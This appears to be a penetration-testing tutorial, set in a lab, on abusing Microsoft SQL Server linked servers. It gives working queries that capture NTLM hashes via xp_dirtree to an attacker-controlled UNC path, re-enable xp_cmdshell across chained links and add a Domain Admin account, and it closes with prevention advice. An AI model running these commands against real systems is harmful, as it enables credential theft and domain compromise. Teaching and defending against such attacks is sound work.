Tutorials

Escalating Privileges via Linked Database Servers

Escalating Privileges via Linked Database Servers
In: Tutorials, Databases, Infrastructure Hacking

In this tutorial, we examine Database Links, a feature found in Microsoft SQL server that allow user’s to setup trusted links to other servers. Database links can be abused to gain access to sensitive data and escalate privileges/further access on the network.

Lets go back to the beginning and look at what Microsoft define as a Linked Server.

Linked servers enable the SQL Server Database Engine and Azure SQL Managed Instance to read data from the remote data sources and execute commands against the remote database servers (for example, OLE DB data sources) outside of the instance of SQL Server.

Microsoft also provide us with some advantages of using Linked Database Servers.

Linked servers enable you to implement distributed databases that can fetch and update data in other databases. They are a good solution in the scenarios where you need to implement database sharding without need to create a custom application code or directly load from remote data sources. Linked servers offer the following advantages:
  • The ability to access data from outside of SQL Server.
  • The ability to issue distributed queries, updates, commands, and transactions on heterogeneous data sources across the enterprise.
  • The ability to address diverse data sources similarly.

So when database links are configured correctly, they can provide organisations, particularly those that manage lots of different data sources, some powerful features.

Why should I care?

So as we’ve seen above, linked servers can offer some great data management features. However, it is also commonly misconfigured. For example, what if we told you, you could login to a misconfigured SQL server as a standard user account and (configuration dependant) could come out as a Systems Administrator account on the other side?

Lab Setup

As this post is a tutorial, we will be re-creating this attack chain in a lab environment. For the reader following along, we have the three following hosts.

  • Thanos.MCU.lab (Windows Server 2016, Domain Controller)
  • VisionSQL.MCU.Lab (Windows Server 2016, Running MS SQL Server 2016)
  • WandaSQL.MCU.Lab (Windows Server 2016, Running MS SQL Server 2016)

When you create a linked server, you must assign a security role to that link. ie. a user account. A common misconfiguration that seen when conducting internal infrastructure assessments are that linked servers are setup using the SA account. The SA account would have access to all databases on the target server, so therefore is most likely the easiest account to use for the connection.

For the lab, the following linked servers have been configured.

  1. A link between VisionSQL and WandaSQL - this allows VisionSQL to access WandaSQL using the security role links-user. This user has basic privileges and only has access to objects that are available to public users.
  2. A link from WandaSQL, back to VisionSQL - this allows WandaSQL to access VisionSQL using the security role Sysadmin. This is the administrative user, which we will use to execute commands and compromise the server.

Eventually we end up with the following chain:

The graphic above shows that we have created a chain of linked servers, that starts with low privileged access and finishes with sysadmin access on the server that we started from.

Discovering Linked Database Servers

Now that the lab has been setup, the scenario can begin. An Active Directory domain user account under the name of MCU\PPots has been compromised during a penetration test and we have discovered this account is able to logon to the database server: VisionSQL.

The next step involves using the MSSQLClient.py Impacket tool in order to communicate with the Microsoft SQL Database Service.  

GitHub - SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols.
Impacket is a collection of Python classes for working with network protocols. - GitHub - SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols.

We can authenticate to the database with the following command: mssqlclient.py MCU.lab/Ppots:Tonystark1@visionSQL -windows-auth. Now that we are logged into the database, we can enumerate any linked servers with the following syntax:

select srvname from master..sysservers

  srvname
  
--------------------------------------------------------------------------------
  
  FALCONSQL
    
  WANDASQL
Enumerating any configured database links

Looking at the output above, we can see that the server has links to two other servers, FalconSQL and WandaSQL.

Lets pick on WandaSQL and see what permissions the database link has been set up with. To do this, we are going to use openquery() to run a command on the remote server and see what permissions we have.

The following SQL command can be used to check the permissions of the link, it will return either a 1 or a 0 to indicate true or false.

select * from openquery("WANDASQL", 'SELECT is_srvrolemember(''sysadmin'')')

  ---------------------------------------------------------------------------

0
Check if the database link from VisionSQL to WandaSQL is configured as Sysadmin

The output above shows that the link from VisionSQL to WandaSQL is not configured as a System Administrator.

For the final step in our enumeration, we are going to check whether it is possible to run stored procedures over the enumerated database links. In order to run a stored procedure over a database link, the link must be configured with the option RPC Out.

We can check this with the following command:

select is_rpc_out_enabled FROM sys.servers WHERE name ='WANDASQL'

  ---------------------------------------------------------------------------

1
Check if RPC Out is enabled

The command above returned a 1, indicating that RPC Out is enabled for the database link setup between VisionSQL to WandaSQL.

Lets recap…

  • We can authenticate to one of the MS-SQL servers (VisionSQL) with our domain user account.
  • We identified two database links present on VisionSQL.
  • We found out that the link between VisionSQL and WandaSQL was not configured as a System Administrator.
  • We learned that RPC Out was enabled for the database link between VisionSQL and WandaSQL.


You might remember from the previous section, when doing our discovery, we noted that the first link had RPC Out enabled. This allows us to run stored procedures on the database server WandaSQL whilst only needing to authenticate to VisionSQL.

It will not be possible to run the xp_cmdshell stored procedure over the first database link, as we discovered that we did not have System Administrator privileges. However, what if we use a stored procedure with Public permissions?

XP_Dirtree

Talking about the ins and outs of xp_dirtree is out of scope for this post, however a high-level overview is that it instructs the server to connect to a folder and list the contents. This functionality can be abused to connect to a UNC path and it will automatically send its Windows credentials when doing so, allowing us to capture them or relay them.

The important part, is that this stored procedure by default, is configured with Public permissions.

As we have Public permissions across the first database link we discovered and RPC Out is enabled, we will be able to execute this attack. Ensure that you have a listener or relay tool listening, to receive the connection from the database. In the example below, we are using the tool Responder.py listening in Analyse mode.

GitHub - lgandx/Responder: Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.
Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authenticat...

The following command can be used to run a stored procedure over a database link. Note, that in order to run a stored procedure over a database link, a value must be returned. Therefore, you must include the SELECT 1; at the start of the query each time to satisfy this requirement.

select * from openquery("WANDASQL", 'SELECT 1; EXEC master..xp_dirtree ''\\192.168.60.1\test''')

  ---------------------------------------------------------------------------

  1
Running xp_dirtree stored procedure through a database link

The command returns the value 1 due to our SELECT 1; that we mentioned previously. However, when we flick to our terminal with Responder running, we can see that the server has attempted to connect to us and has sent us the NetNTLMv2 hash for the Domain User MCU.lab\TStark.

Responder.py capturing the NetNTLMv2 hash for the user MCU\TStark

Now that we have a hash, we can subject it to offline password cracking or even combine this with an SMB Relaying attack to take advantage of a lack of SMB Message Signing on an internal network.

So far we haven’t spoke about the fact that database links can be nested, when I say nested, consider the following example code.

select * from openquery("SQL1",
    "select * from openquery(""SQL2,
        ""select * from openquery(""""SQL3"""",
            """"select * from openquery""""(""""""""SQL4"""""""""",
                select is_srv_rolemember(""""""""""""""""sysadmin"""""""""""""""")"""""""")"""")"")");
Nested Database Links Query

First we open a connection to SQL1, then from SQL1 we are connecting to SQL2. Then from SQL2, we are connecting to SQL3, then finally we are connecting to SQL4 and seeing if the link between SQL3 and SQL4 is configured with a System Administrator.

💡
TLDR: We can query other database links through other database links. As far as we know there's no limit on how many you can have, although as you can see above, the queries get out of control pretty quick, especially with the quotes!

In the last example, we are going to connect to WandaSQL via the database link from VisionSQL, check to see if there are any database links on WandaSQL and whether or not they are privileged. If they are, we will abuse them to execute xp_cmdshell and compromise the database server.

We can enumerate database links on WandaSQL like so.

select * from openquery("WANDASQL", 'select srvname from master..sysservers');

  srvname
  
  ---------------------------------------------------------------------------
  
  VISIONSQL
Enumerating Database Links on WandaSQL

Then we check if the second database link between WandaSQL and VisionSQL is configured with a privileged user account.

select * from openquery("WANDASQL", 'select * from openquery("VISIONSQL",''select is_srvrolemember(''''sysadmin'''')'')');

  ---------------------------------------------------------------------------

  1
Check if the second database link between WandaSQL and VisionSQL is configured with a privileged user account.

Like before, we’ll also check if RPC Out is enabled, allowing us to run stored procedures:


select * from openquery("WANDASQL", 'select * from openquery("VISIONSQL",''select is_rpc_out_enabled from sys.servers where name =''''visionsql'''''')');

  ---------------------------------------------------------------------------

  1
Check if RPC Out is enabled over second database link

Lets recap:

  • We have a database link between VisionSQL and WandaSQL.
  • We’ve then identified a second database link from WandaSQL back to VisionSQL.
  • We’ve identified that the second database link is configured as a Systems Administrator.
  • We’ve also identified that RPC Out is enabled, allowing us to run stored procedures over the database links.

As we have systems administrator privileges and RPC Out is enabled, this means that we will be able to run the stored procedure xp_cmdshell and execute operating system commands on the server itself.

The stored procedure xp_cmdshell is disabled by default and is rarely found enabled and only a systems administrator account is able to enable it. Fortunately, there is way to execute it through our database links.

The following commands will re enable xp_cmdshell through the two database links we have identified:

exec('exec(''sp_configure ''show advanced options'',1;reconfigure'') at [visionsql]') at [wandasql];

exec('exec(''sp_configure ''xp_cmdshell'',1;reconfigure'') at [visionsql]') at [wandasql];
Re enable xp_cmdshell through two database links

With xp_cmdshell now re enabled, we can now execute commands against the server through the database links.

The following commands will execute xp_cmdshell and leverage the elevated privileges of the SQL Server in order to add a new domain admin account (Note, the SELECT 1; from the previous section).

select * from openquery("WANDASQL", 'select * from openquery("VISIONSQL",''SELECT 1; EXEC master..xp_cmdshell ''''net user Dannrocks Password1 /add /domain'''''')');

select * from openquery("WANDASQL", 'select * from openquery("VISIONSQL",''SELECT 1; EXEC master..xp_cmdshell ''''net group "Domain Admins" Dannrocks /add /domain'''''')');
Executing commands through database links

After running the commands, if we open a PowerShell prompt on the box as our lower-privileged user account MCU\PPots, we can see that a new Domain Administrator account has been created called MCU.lab\Dannrocks resulting in a domain-wide compromise.

New Domain Administrator account

Prevention

In order to minimise the abuse of configured database links, the following best practice advice can be followed.

  • Ensure that database links are configured with the principle of least privilege. Ideally, create a separate account that is only used for that link, with minimal privileges (enough to access the databases/tables for the purposes of the link).
  • Ensure that RPC Out is disabled, to prevent attackers from running stored procedures over database links.
  • Restrict access to the database server and ensure that only accounts that have a genuine business need are the ones that are granted access. Avoid granting access to large groups in Active Directory, such as BUILTIN\Users for example.
  • Finally, if you don’t use the database links, make sure they are removed. This can prevent them from being abused if a user ever gains unauthorised access.

Acknowledgements

Disclaimer: All information provided within this post is for educational purposes only.

Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to Adversify: Protecting Your Business From Cyber Threats.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.